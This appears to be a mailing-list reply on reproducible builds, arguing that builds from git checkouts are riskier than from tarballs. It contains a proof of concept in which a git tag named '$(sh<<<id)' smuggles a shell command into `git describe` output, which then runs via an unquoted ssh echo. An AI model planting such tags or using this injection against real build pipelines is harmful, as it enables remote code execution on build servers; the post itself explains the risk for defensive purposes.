Pitfall of using shortened git hashes compiled into code

[kpcyrd]

On 9/17/23 15:43, Richard Purdie wrote:
> What appears to have happened is we pulled new revisions into the git
> tree and even though we didn't use them, "g2b29e8ac" was no longer
> unique so the hash was lengthened. This resulted in significant changes
> to the binary output.
> 
> I'm not sure if there is a general recommendation on not using short
> hashes but if not, there should be!

There are some other issues that can occur, for example adding a new tag 
can change the output of `git describe --tags`, which is often used for 
--version output (especially in Go projects).

Imo it's overall safer to build from tarballs instead of git checkouts, 
tarballs are easier to reason about by referring to them by their 
canonical sha256 hash.

With git, even when checking out a specific commit by its full sha1 hash 
and verifying the signature, the build script may accidentally access 
the unauthenticated parts of the git graph and possibly even get 
exploited from its content.

For example, consider this git history:

```
* 7f856c3 (HEAD -> main) c
* bd8326c b
* 2507241 (tag: init) a
```

Using git describe gives us this version string:

```
% git checkout 7f856c355b5b6f77a3f016afa6ba6a17d32caa72
% git describe --tags
init-2-g7f856c3
```

We now create our (perfectly valid) malicious tag:

```
% git tag '$(sh<<<id)' bd8326c
% git push --tags
```

The new version string now looks quite unexpected:

```
% git fetch
% git checkout 7f856c355b5b6f77a3f016afa6ba6a17d32caa72
% git describe --tags
$(sh<<<id)-1-g7f856c3
```

To exploit this into RCE you would need somebody doing something 
insecure like this (be creative):

```
% pkgver=$(git describe --tags)
% ssh kpcyrd at some.build.server.example.com "echo $pkgver"
uid=1016(kpcyrd) gid=1021(kpcyrd) 
groups=1021(kpcyrd),965(docker),985(users),998(wheel)-1-g7f856c3
%
```

Enjoy